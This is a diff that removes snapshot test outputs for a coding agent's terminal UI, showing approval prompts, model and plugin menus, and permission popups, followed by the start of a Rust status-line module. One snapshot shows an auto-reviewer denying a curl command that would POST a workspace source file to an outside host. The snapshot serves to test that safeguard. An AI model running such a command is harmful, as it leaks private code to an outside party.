↳ Hello, world! 12
|
||||
↳ Hello, world! 13
|
||||
↳ Hello, world! 14
|
||||
↳ Hello, world! 15
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-21
@@ -1,21 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
• Messages to be submitted at end of turn
|
||||
↳ Steer submitted while /compact was running.
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 9494
|
||||
expression: combined
|
||||
---
|
||||
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob
|
||||
---
|
||||
■ '/model' is disabled while a task is in progress.
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 495
|
||||
expression: lines_to_single_string(&aborted_long)
|
||||
---
|
||||
✗ You canceled the request to run echo
|
||||
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: lines_to_single_string(&aborted_multi)
|
||||
---
|
||||
✗ You canceled the request to run echo line1 ...
|
||||
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: lines_to_single_string(&decision)
|
||||
---
|
||||
✔ You approved codex to run echo hello world this time
|
||||
-39
@@ -1,39 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "format!(\"{buf:?}\")"
|
||||
---
|
||||
Buffer {
|
||||
area: Rect { x: 0, y: 0, width: 80, height: 13 },
|
||||
content: [
|
||||
" ",
|
||||
" ",
|
||||
" Would you like to run the following command? ",
|
||||
" ",
|
||||
" Reason: this is a test reason such as one that would be produced by the ",
|
||||
" model ",
|
||||
" ",
|
||||
" $ echo hello world ",
|
||||
" ",
|
||||
"› 1. Yes, proceed (y) ",
|
||||
" 2. No, and tell Codex what to do differently (esc) ",
|
||||
" ",
|
||||
" Press enter to confirm or esc to cancel ",
|
||||
],
|
||||
styles: [
|
||||
x: 0, y: 0, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: BOLD,
|
||||
x: 46, y: 2, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 10, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC,
|
||||
x: 73, y: 4, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: ITALIC,
|
||||
x: 7, y: 5, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 4, y: 7, fg: Rgb(137, 180, 250), bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 8, y: 7, fg: Rgb(205, 214, 244), bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 20, y: 7, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 0, y: 9, fg: Cyan, bg: Reset, underline: Reset, modifier: BOLD,
|
||||
x: 21, y: 9, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 48, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
|
||||
x: 51, y: 10, fg: Reset, bg: Reset, underline: Reset, modifier: NONE,
|
||||
x: 2, y: 12, fg: Reset, bg: Reset, underline: Reset, modifier: DIM,
|
||||
]
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Experimental features
|
||||
Toggle experimental features. Changes are saved to config.toml.
|
||||
|
||||
› [ ] Ghost snapshots Capture undo snapshots each turn.
|
||||
[x] Shell tool Allow the model to run shell commands.
|
||||
|
||||
Press space to select or enter to save for next conversation
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob1
|
||||
---
|
||||
• Exploring
|
||||
└ List ls -la
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob2
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob3
|
||||
---
|
||||
• Exploring
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob4
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob5
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob6
|
||||
---
|
||||
• Explored
|
||||
└ List ls -la
|
||||
Read foo.txt, bar.txt
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Upload logs?
|
||||
|
||||
The following files will be sent:
|
||||
• codex-logs.log
|
||||
• codex-connectivity-diagnostics.txt
|
||||
|
||||
› 1. Yes Share the current Codex session logs with the team for
|
||||
troubleshooting.
|
||||
2. No
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
How was this?
|
||||
|
||||
› 1. bug Crash, error message, hang, or broken UI/behavior.
|
||||
2. bad result Output was off-target, incorrect, incomplete, or unhelpful.
|
||||
3. good result Helpful, correct, high‑quality, or delightful result worth
|
||||
celebrating.
|
||||
4. safety check Benign usage blocked due to safety checks or refusals.
|
||||
5. other Slowness, feature suggestion, UX feedback, or anything
|
||||
else.
|
||||
-19
@@ -1,19 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Upload logs?
|
||||
|
||||
The following files will be sent:
|
||||
• codex-logs.log
|
||||
• codex-connectivity-diagnostics.txt
|
||||
|
||||
Connectivity diagnostics
|
||||
- OPENAI_BASE_URL is set and may affect connectivity.
|
||||
- OPENAI_BASE_URL = hello
|
||||
|
||||
› 1. Yes Share the current Codex session logs with the team for
|
||||
troubleshooting.
|
||||
2. No
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Here is the result.
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from named-thread (e9f18a88-8081-4e51-9d4e-8af5cde2d8dd)
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from 019c2d47-4935-7423-a190-05691f566092
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Enable full access?
|
||||
When Codex runs with full access, it can edit any file on your computer and
|
||||
run commands with network, without your approval. Exercise caution when
|
||||
enabling full access. This significantly increases the risk of data loss,
|
||||
leaks, or unexpected behavior.
|
||||
|
||||
› 1. Yes, continue anyway Apply full access for this session
|
||||
2. Yes, and don't ask again Enable full access and remember this choice
|
||||
3. Cancel Go back without enabling full access
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 9237
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this
|
||||
time
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-25
@@ -1,25 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 9085
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
⚠ Automatic approval review denied (risk: high): The planned action would
|
||||
transmit the full contents of a workspace source file (`core/src/codex.rs`) to
|
||||
`https://example.com`, which is an external and untrusted endpoint.
|
||||
|
||||
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
|
||||
odex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 9336
|
||||
expression: rendered
|
||||
---
|
||||
• Reviewing 2 approval requests (0s • esc to interrupt)
|
||||
└ • rm -rf '/tmp/guardian target 1'
|
||||
• rm -rf '/tmp/guardian target 2'
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 5889
|
||||
expression: combined
|
||||
---
|
||||
• Generated Image:
|
||||
└ A tiny blue square
|
||||
└ Saved to: file:///tmp/ig-1.png
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: exec_blob
|
||||
---
|
||||
• Ran sleep 1
|
||||
└ (no output)
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: snapshot
|
||||
---
|
||||
cells=1
|
||||
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: last
|
||||
---
|
||||
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: info
|
||||
---
|
||||
• Model interrupted to submit steer instructions.
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Viewed Image
|
||||
└ example.png
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
"• Booting MCP server: alpha (0s • esc to interrupt) "
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" ? for shortcuts 100% context left "
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 1989
|
||||
expression: popup
|
||||
---
|
||||
Select Model and Effort
|
||||
Access legacy models by running codex -m <model_name> or in your config.toml
|
||||
|
||||
› 1. test-visible-model (current) test-visible-model description
|
||||
|
||||
Press enter to select reasoning effort, or esc to dismiss.
|
||||
-12
@@ -1,12 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Reasoning Level for gpt-5.1-codex-max
|
||||
|
||||
1. Low Fast responses with lighter reasoning
|
||||
2. Medium (default) Balances speed and reasoning depth for everyday tasks
|
||||
› 3. High (current) Greater reasoning depth for complex problems
|
||||
4. Extra high Extra high reasoning depth for complex problems
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Reasoning Level for gpt-5.1-codex-max
|
||||
|
||||
1. Low Fast responses with lighter reasoning
|
||||
2. Medium (default) Balances speed and reasoning depth for everyday
|
||||
tasks
|
||||
3. High Greater reasoning depth for complex problems
|
||||
› 4. Extra high (current) Extra high reasoning depth for complex problems
|
||||
⚠ Extra high reasoning effort can quickly consume
|
||||
Plus plan rate limits.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Model and Effort
|
||||
Access legacy models by running codex -m <model_name> or in your config.toml
|
||||
|
||||
› 1. gpt-5.3-codex (default) Latest frontier agentic coding model.
|
||||
2. gpt-5.4 Latest frontier agentic coding model.
|
||||
3. gpt-5.2-codex Frontier agentic coding model.
|
||||
4. gpt-5.1-codex-max Codex-optimized flagship for deep and fast
|
||||
reasoning.
|
||||
5. gpt-5.2 Latest frontier model with improvements across
|
||||
knowledge, reasoning and coding
|
||||
6. gpt-5.1-codex-mini Optimized for codex. Cheaper, faster, but less
|
||||
capable.
|
||||
|
||||
Press enter to select reasoning effort, or esc to dismiss.
|
||||
-12
@@ -1,12 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 6001
|
||||
expression: popup
|
||||
---
|
||||
Enable subagents?
|
||||
Subagents are currently disabled in your config.
|
||||
|
||||
› 1. Yes, enable Save the setting now. You will need a new session to use it.
|
||||
2. Not now Keep subagents disabled.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7963
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Full Access
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Default
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Default (non-admin sandbox)
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Personality
|
||||
Choose a communication style for Codex.
|
||||
|
||||
1. Friendly Warm, collaborative, and helpful.
|
||||
› 2. Pragmatic (current) Concise, task-focused, and direct.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-10
@@ -1,10 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Implement this plan?
|
||||
|
||||
› 1. Yes, implement this plan Switch to Default and start coding.
|
||||
2. No, stay in Plan mode Continue planning with the model.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-10
@@ -1,10 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Implement this plan?
|
||||
|
||||
1. Yes, implement this plan Switch to Default and start coding.
|
||||
› 2. No, stay in Plan mode Continue planning with the model.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Figma · Can be installed · ChatGPT Marketplace
|
||||
Data shared with this app is subject to the app's terms of service and privacy policy. Learn
|
||||
more.
|
||||
Turn Figma files into implementation context.
|
||||
|
||||
› 1. Back to plugins Return to the plugin list.
|
||||
2. Install plugin Install this plugin now.
|
||||
Skills design-review, extract-copy
|
||||
Apps Figma, Slack
|
||||
MCP Servers figma-mcp, docs-mcp
|
||||
|
||||
Press esc to close.
|
||||
-15
@@ -1,15 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Figma · Installed · ChatGPT Marketplace
|
||||
Turn Figma files into implementation context.
|
||||
|
||||
› 1. Back to plugins Return to the plugin list.
|
||||
2. Uninstall plugin Remove this plugin now.
|
||||
Skills design-review, extract-copy
|
||||
Apps Figma, Slack
|
||||
MCP Servers figma-mcp, docs-mcp
|
||||
|
||||
Press esc to close.
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7289
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Browse plugins from available marketplaces.
|
||||
Installed 1 of 4 available plugins.
|
||||
Using cached marketplace data: remote sync timed out
|
||||
|
||||
Type to search plugins
|
||||
› Alpha Sync Installed · Disabled Press Enter to view plugin details.
|
||||
Bravo Search Available · ChatGPT Marketplace · Search docs and tickets.
|
||||
Hidden Repo Plugin Available · Repo Marketplace · Should not be shown in /plugins.
|
||||
Starter Available by default · ChatGPT Marketplace · Included by default.
|
||||
|
||||
Press esc to close.
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Loading available plugins...
|
||||
This first pass shows the ChatGPT marketplace only.
|
||||
|
||||
› Loading plugins... This updates when the marketplace list is ready.
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7527
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Browse plugins from available marketplaces.
|
||||
Installed 0 of 3 available plugins.
|
||||
|
||||
sla
|
||||
› Slack Available Press Enter to view plugin details.
|
||||
|
||||
Press esc to close.
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Running PostToolUse hook: warming the shell
|
||||
|
||||
PostToolUse hook (completed)
|
||||
warning: Heads up from the hook
|
||||
hook context: Remember the startup checklist.
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Running PreToolUse hook: warming the shell
|
||||
|
||||
PreToolUse hook (completed)
|
||||
warning: Heads up from the hook
|
||||
hook context: Remember the startup checklist.
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
"• Working (0s • esc to interrupt) "
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" ? for shortcuts 100% context left "
|
||||
-14
@@ -1,14 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Approaching rate limits
|
||||
Switch to gpt-5.1-codex-mini for lower credit usage?
|
||||
|
||||
› 1. Switch to gpt-5.1-codex-mini Optimized for codex. Cheaper,
|
||||
faster, but less capable.
|
||||
2. Keep current model
|
||||
3. Keep current model (never show again) Hide future rate limit reminders
|
||||
about switching models.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Settings
|
||||
Configure settings for Codex.
|
||||
|
||||
› 1. Microphone Current: System default
|
||||
2. Speaker Current: System default
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Settings
|
||||
Configure settings for Codex.
|
||||
|
||||
› 1. Microphone Current: System default
|
||||
2. Speaker Current: System default
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-18
@@ -1,18 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Microphone
|
||||
Saved devices apply to realtime voice only.
|
||||
|
||||
1. System default Use your operating system
|
||||
default device.
|
||||
› Unavailable: Studio Mic (current) (disabled) Configured device is not
|
||||
currently available.
|
||||
(disabled: Reconnect the
|
||||
device or choose another
|
||||
one.)
|
||||
3. Built-in Mic
|
||||
4. USB Mic
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 7060
|
||||
expression: header
|
||||
---
|
||||
› Ask Codex to do anything
|
||||
-22
@@ -1,22 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: term.backend().vt100().screen().contents()
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
• Messages to be submitted at end of turn
|
||||
↳ Steer submitted while /review was running.
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Running SessionStart hook: warming the shell
|
||||
|
||||
SessionStart hook (completed)
|
||||
warning: Heads up from the hook
|
||||
hook context: Remember the startup checklist.
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
assertion_line: 4430
|
||||
expression: rendered.clone()
|
||||
---
|
||||
• `/copy` is unavailable before the first Codex output or right after a rollback.
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" Fast on "
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" gpt-5.4 xhigh fast · 100% left · /tmp/project "
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
"• Analyzing (0s • esc to interrupt) "
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" ? for shortcuts 100% context left "
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
" "
|
||||
" Would you like to run the following command? "
|
||||
" "
|
||||
" Reason: this is a test reason such as one that would be produced by the model "
|
||||
" "
|
||||
" $ echo 'hello world' "
|
||||
" "
|
||||
"› 1. Yes, proceed (y) "
|
||||
" 2. Yes, and don't ask again for commands that start with `echo 'hello world'` (p) "
|
||||
" 3. No, and tell Codex what to do differently (esc) "
|
||||
" "
|
||||
" Press enter to confirm or esc to cancel "
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend()
|
||||
---
|
||||
" "
|
||||
"• Working (0s • esc to interrupt) · 1 background terminal running · /ps to view…"
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" ? for shortcuts 100% context left "
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Waited for background terminal · just fix
|
||||
|
||||
↳ Interacted with background terminal · just fix
|
||||
└ ls
|
||||
-6
@@ -1,6 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: active_combined
|
||||
---
|
||||
↳ Interacted with background terminal · just fix
|
||||
└ pwd
|
||||
-8
@@ -1,8 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
↳ Interacted with background terminal · just fix
|
||||
└ pwd
|
||||
|
||||
• Waited for background terminal · just fix
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: snapshot
|
||||
---
|
||||
History:
|
||||
• Ran echo repro-marker
|
||||
└ repro-marker
|
||||
|
||||
Active:
|
||||
• Exploring
|
||||
└ Read null
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Waited for background terminal · cargo test -p codex-core
|
||||
|
||||
• Final response.
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Waited for background terminal · cargo test -p codex-core
|
||||
|
||||
• Streaming response.
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: rendered
|
||||
---
|
||||
• Waiting for background terminal (0s • esc to …
|
||||
└ cargo test -p codex-core -- --exact…
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
? for shortcuts 100% context left
|
||||
-5
@@ -1,5 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Waited for background terminal · just fix
|
||||
@@ -1,14 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: terminal.backend().vt100().screen().contents()
|
||||
---
|
||||
✨ New version available! Would you like to update?
|
||||
|
||||
Full release notes: https://github.com/openai/codex/releases/latest
|
||||
|
||||
|
||||
› 1. Yes, update now
|
||||
2. No, not now
|
||||
3. Don't remind me
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
-7
@@ -1,7 +0,0 @@
|
||||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob
|
||||
---
|
||||
• You ran ls
|
||||
└ file1
|
||||
file2
|
||||
@@ -1,662 +0,0 @@
|
||||
//! Status-line and terminal-title rendering helpers for `ChatWidget`.
|
||||
//!
|
||||
//! Keeping this logic in a focused submodule makes the additive title/status
|
||||
//! behavior easier to review without paging through the rest of `chatwidget.rs`.
|
||||
|
||||
use super::*;
|
||||
|
||||
pub(super) const DEFAULT_TERMINAL_TITLE_ITEMS: [&str; 2] = ["spinner", "project"];
|
||||
pub(super) const TERMINAL_TITLE_SPINNER_FRAMES: [&str; 10] =
|
||||
["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
|
||||
pub(super) const TERMINAL_TITLE_SPINNER_INTERVAL: Duration = Duration::from_millis(100);
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
|
||||
/// Compact runtime states that can be rendered into the terminal title.
|
||||
///
|
||||
/// This is intentionally smaller than the full status-header vocabulary. The
|
||||
/// title needs short, stable labels, so callers map richer lifecycle events
|
||||
/// onto one of these buckets before rendering.
|
||||
pub(super) enum TerminalTitleStatusKind {
|
||||
Working,
|
||||
WaitingForBackgroundTerminal,
|
||||
Undoing,
|
||||
#[default]
|
||||
Thinking,
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
/// Parsed status-surface configuration for one refresh pass.
|
||||
///
|
||||
/// The status line and terminal title share some expensive or stateful inputs
|
||||
/// (notably git branch lookup and invalid-item warnings). This snapshot lets one
|
||||
/// refresh pass compute those shared concerns once, then render both surfaces
|
||||
/// from the same selection set.
|
||||
struct StatusSurfaceSelections {
|
||||
status_line_items: Vec<StatusLineItem>,
|
||||
invalid_status_line_items: Vec<String>,
|
||||
terminal_title_items: Vec<TerminalTitleItem>,
|
||||
invalid_terminal_title_items: Vec<String>,
|
||||
}
|
||||
|
||||
impl StatusSurfaceSelections {
|
||||
fn uses_git_branch(&self) -> bool {
|
||||
self.status_line_items.contains(&StatusLineItem::GitBranch)
|
||||
|| self
|
||||
.terminal_title_items
|
||||
.contains(&TerminalTitleItem::GitBranch)
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
/// Cached project-root display name keyed by the cwd used for the last lookup.
|
||||
///
|
||||
/// Terminal-title refreshes can happen very frequently, so the title path avoids
|
||||
/// repeatedly walking up the filesystem to rediscover the same project root name
|
||||
/// while the working directory is unchanged.
|
||||
pub(super) struct CachedProjectRootName {
|
||||
pub(super) cwd: PathBuf,
|
||||
pub(super) root_name: Option<String>,
|
||||
}
|
||||
|
||||
impl ChatWidget {
|
||||
fn status_surface_selections(&self) -> StatusSurfaceSelections {
|
||||
